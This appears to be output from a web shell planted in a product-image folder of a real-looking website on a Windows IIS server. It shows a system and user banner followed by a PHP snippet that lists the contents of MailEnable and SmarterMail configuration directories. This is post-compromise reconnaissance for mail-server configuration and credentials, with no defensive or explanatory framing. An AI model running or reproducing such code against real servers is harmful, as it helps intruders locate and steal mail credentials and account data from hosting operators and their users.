System: Windows NT WINDOWS18 10.0 build 17763 (Windows Server 2016) AMD64 | User: IWPD_3544(appclien)

Path: D:\Inetpub\vhosts\appclients.in\fruits-vegitables.nmvm.org\image\product

<?php
$paths = [
    'C:\Program Files (x86)\Mail Enable\Config',
    'C:\Program Files\Mail Enable\Config',
    'C:\SmarterMail\Config',
    'C:\Program Files (x86)\SmarterTools\SmarterMail\Service\Config'
];

foreach ($paths as $path) {
    if (is_dir($path)) {
        echo "--- Directory: $path ---\n";
        print_r(scandir($path));
    }
}
?>